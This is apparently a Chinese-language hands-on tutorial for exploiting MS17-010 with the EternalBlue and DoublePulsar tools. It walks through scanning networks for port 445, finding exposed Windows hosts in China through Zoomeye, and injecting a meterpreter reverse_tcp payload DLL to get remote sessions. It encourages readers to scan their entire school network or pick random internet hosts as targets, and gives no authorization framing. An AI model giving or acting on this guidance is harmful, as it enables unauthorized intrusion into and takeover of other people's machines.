手把手教你用永恒之藍(Eternalblue)勒索病毒漏洞的高階用法
安裝 MSF
Linux & Mac OS X
如果遇到問題,點開這個鏈接,然后自己想想辦法……
查看是否安裝成功
然后輸入 msfconsole 看看安裝是不是成功了……
這樣的話就算成功了。
安裝 WINE 和 winetricks
Linux
OSX
安裝 Windows Python 環(huán)境
跟著 wizard 走完就行了……一路下一步。
復(fù)制工具包到 Windows 分區(qū)
默認(rèn) WINE 環(huán)境的虛擬磁盤在 ~/.wine/drive_c
把那個工具包里的 windows 文件夾改個名字,復(fù)制到這里去……
比如改名叫 tools,復(fù)制到 ~/.wine/drive_c/tools。
進入 Win CMD
如果這一步出現(xiàn)什么 wrong font 錯誤,可以試試安裝 fonts-wine 包,或者用 winetricks --gui,選擇默認(rèn) WINE ,安裝字體,勾上 corefont。
沒錯的話會出現(xiàn)一個黑框框,就是 CMD 了,先 右鍵 - properties - font 調(diào)整一下字體什么的,注意確定保存的時候選第一個單選框……調(diào)到你覺得好看的字體為止。然后:
試一下 Win 上的 Python 有沒有安裝好,如果沒問題就 Ctrl-D 退出。
修改 fuzzbunch 默認(rèn)配置
到 ~/.wine/drive_c/tools 這里,用文本編輯器打開 fuzzbunch.xml。
修改 ResourcesDir 為 C:\tools\Resources,LogDir 為 C:\logs。
運行 fuzzbunch
再次打開 CMD,cd 到 Python 目錄,然后執(zhí)行:
如果出現(xiàn)這樣的話環(huán)境就算是配置好了:
然后可以暫時退出了。
查看網(wǎng)絡(luò)環(huán)境
本機上執(zhí)行:
找到自己正在使用的網(wǎng)絡(luò),記下 IP 和 子網(wǎng)掩碼。
安裝 Zmap
Zmap 是一個快速的網(wǎng)絡(luò)掃描器,反正就是收集信息用的。
Linux
OSX
安裝好了之后 sudo zmap --version 測試一下。
掃描子網(wǎng)
根據(jù)你上一步得到的 IP 和子網(wǎng)掩碼,掃描網(wǎng)絡(luò)。
假如你的 IP 是 10.128.129.45 子網(wǎng)掩碼 255.255.192.0,把子網(wǎng)掩碼按照下表換成數(shù)字,然后加起來。
所以 255.255.192.0 = 8 + 8 + 2 = 18。要掃描的 CIDR 就是 10.128.129.45/18
然后運行:
-B 選項后面的是掃描速度,根據(jù)你們的內(nèi)網(wǎng)帶寬找一個合適的速度填就行。比如我們內(nèi)網(wǎng) 100M,我就用一半的速度掃。
如果遇到 blacklist 的錯誤,可以去修改 /etc/zmap/blacklist.conf 這個文件,把需要掃描的內(nèi)網(wǎng)地址注釋掉:
如果遇到 interface 什么的錯誤,就用 -i <interface> 指定要使用的網(wǎng)卡。比如你是用 WiFi 的話就 -i wlan0。
如果遇到 get-gateway 的錯誤,就先運行 netstat -nr 得到網(wǎng)關(guān)的 IP,然后運行 sudo arp -a <網(wǎng)關(guān)IP> 獲取他的 MAC 地址:見下圖:
獲取到網(wǎng)關(guān) MAC 之后,用 -G 參數(shù)寫在命令行里即可。
OK,開始掃描吧,這時候等著就行了。
掃描完成之后 cat 445.csv 就可以看到所有開了 445 的機器了。
如果你掃描出來文件是空的的話……那說明你的網(wǎng)段可能太小了。
如果你是學(xué)生,可以考慮掃描一下全校網(wǎng)段,一般用 10.0.0.1/8 掃描的話應(yīng)該會能得到一些結(jié)果的。
如果還是不行,那就用備選方案吧……
備選方案 - Zoomeye
如果你子網(wǎng)掃描出來的文件是個空的的話,你也可以選擇掃描互聯(lián)網(wǎng)上的機器。
當(dāng)然這時候我們就不自己用 zmap 掃了,Zoomeye 可以幫助我們。
搜索框右邊的選項選主機,輸入 service:microsoft-ds os:windows country:china Enter 搜索。
也可以加一個參數(shù) city:beijing 來搜索特定城市的主機。
然后隨便選幾個 IP 寫到 445.csv 里去吧,一行一個 IP 就行。
漏洞檢測
現(xiàn)在用 msfconsole 打開 MSF,輸入 use auxiliary/scanner/smb/smb_version 注意從現(xiàn)在開始就不要復(fù)制命令了,最好都手打,要習(xí)慣用 Tab 補全。
前面的 msf 提示符變成 msf auxiliary(smb_version) > 就表示進入這個掃描器的上下文了。
輸入 options 查看可用的選項:
RHOSTS 表示要掃描額主機列表,THREADS 表示掃描線程數(shù),一般填個 50 什么的就差不多了。如果你 RHOST 數(shù)量比小于 50 的話,你也可以填少一點。
用 set 命令設(shè)置選項:
輸入完后再用 options 查看一下選項,確認(rèn)沒問題之后輸入 exploit,回車開始執(zhí)行 scanner.
執(zhí)行過程中應(yīng)該會有很多信息輸出出來,等他運行完,輸入 hosts 查看當(dāng)前獲得的主機資料:
OK,一個 Win10 一個 Win7 一個 WinServer 2008 R2。
Win 7 以上的可以不用考慮了,Win 7 和 WinServer 2008 一般來說是可以的。
如果你不放心,可以使用 auxiliary/scanner/smb/smb_ms17_010 這個掃描器做一次漏洞檢測。這個就不說詳細(xì)步驟了,當(dāng)作練習(xí)吧,結(jié)果大概是這樣的:
嗯,他說 Likely 嘛,一般來說 還是選 Win 7 和 Server 2008 以下的主機當(dāng)作目標(biāo)吧。
OK 我現(xiàn)在就選那臺 Win 7 的 10.158.24.2 了,后面的操作都會用這個 IP,你記得換成你自己的目標(biāo)哈。
Fuzzbunch 出場
用之前的命令啟動 WINE CMD,用 Python 打開 fuzzbunch:
- 第一個地方輸入你的目標(biāo)的 IP 地址
- 第二空 Callback IP 隨便填,因為用不到,這里就填 127.0.0.1 好了
- 第三個很重要,一定 要填 no
- 后面如果你沒有項目的話就選 0 新建一個,你下次啟動想用之前的話就選 index
- 然后文件位置什么的就都默認(rèn),一路回車下來就行
看見 fb > 字樣的提示符就表示初始設(shè)置完成。
Eternalblue 攻擊
Fuzzbunch 的使用方法和 MSF 其實差不多。
輸入 use Eternalblue 載入攻擊模塊,同樣注意多使用 Tab 鍵。
和 MSF 不一樣,F(xiàn)B 會進行交互性的參數(shù)輸入:
如果上面的參數(shù)(主要是 IP)沒錯的話,也可以輸入 no 來取消交互式輸入。
然后來到這一步,攻擊方式一定要選 1 FB 方式:
然后繼續(xù)跟著交互提示走,Tunnels 部分直接一路回車,開始執(zhí)行后門安裝:
如果到 Receiving response from exploit packet 這句話這里停住的話,大概率是打了補丁,你可以換個目標(biāo)了。
如果是停在 Triggering free of corrupted buffer 這句的話,基本就成功了,等著就好。
OK,等了一會之后,Eternalblue 攻擊成功。
注意觀察一下這里寫的目標(biāo)機器的 Arch 是 32 bit 還是 64 bit,后面要用。
TCP 隧道
這一步需要你有公網(wǎng) IP,如果你沒有的話可以用 TCP 隧道服務(wù)來代替……比如各種基于 Ngrok 的隧道服務(wù)……
這里我就不教程了……你們自己弄好就行
我現(xiàn)在假設(shè)你們隧道服務(wù)商 IP 是 123.123.123.123,給你的端口是 8888,你本地的端口也開 8888,下面一步操作的時候記得把這些數(shù)字換成真實的。
提示
如果你是掃描校內(nèi)網(wǎng),而且校內(nèi)網(wǎng)沒有對機器互聯(lián)端口做限制的話,不用 TCP 隧道也是可以的,那你就把下面教程里的所有 LHOST 填你自己的網(wǎng)卡 IP 即可。
MSF 監(jiān)聽反彈端口
在 MSF 里,使用 multi/handler。
如果你要攻擊的機器是 32 位的機器:
set payload windows/meterpreter/reverse_tcp
如果是 64 位的:
set payload windows/x64/meterpreter/reverse_tcp
然后
LHOST 就填 127.0.0.1 就可以,因為上面我們用了隧道。
最后一個 -j 是將 exploit 放在后臺運行,暫時可以不用管了。
你可以通過 jobs -l 看到所有后臺任務(wù)。
生成 Shellcode DLL
在 MSF 里執(zhí)行
上面的 {Payload} 換成你上個階段用的 payload,然后 HOST 和 PORT 也要記得換,{ARCH} 如果是 32 位就寫 x8664 位就寫 x64。
你也可以分別生成兩個 DLL 備用,反正以后攻擊到的 32 位 64 位都有可能。
然后把這兩個 DLL 復(fù)制到 ~/.wine/drive_c 目錄下
雙倍脈沖(Doublepulsar)注入
切換到 Wine CMD 里的 FB 平臺,使用 Doublepulsar
然后就按照提示一路 Enter,Proto 選 SMB,x86 還是 x64 根據(jù)目標(biāo)機器選。
這一步選 2,RunDLL。
DLL 位置選根據(jù)你的文件名填,比如 C:\x86.dll 或者 C:\x64.dll,然后繼續(xù) Enter。
當(dāng)你看到這個 Success 的時候,表示注入成功。
DONE
現(xiàn)在切回你的 MSF 看看是不是有些 sending stage 之類的輸出。
如果沒有的話就把 DLL 的生成檢查一遍看看參數(shù)有沒有寫對,然后再執(zhí)行一遍上一步。
如果有輸出的就輸入 sessions -l 查看已經(jīng)連接好的 meterpreter。
然后用 sessions -i <ID> 連上去:
OK 了!后面的我就不教了,你可以輸入 help 然后 Tab 看看有哪些命令。然后 <command> -h 獲取幫助。
然后 https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ 這里有一些基本的后滲透命令的解釋。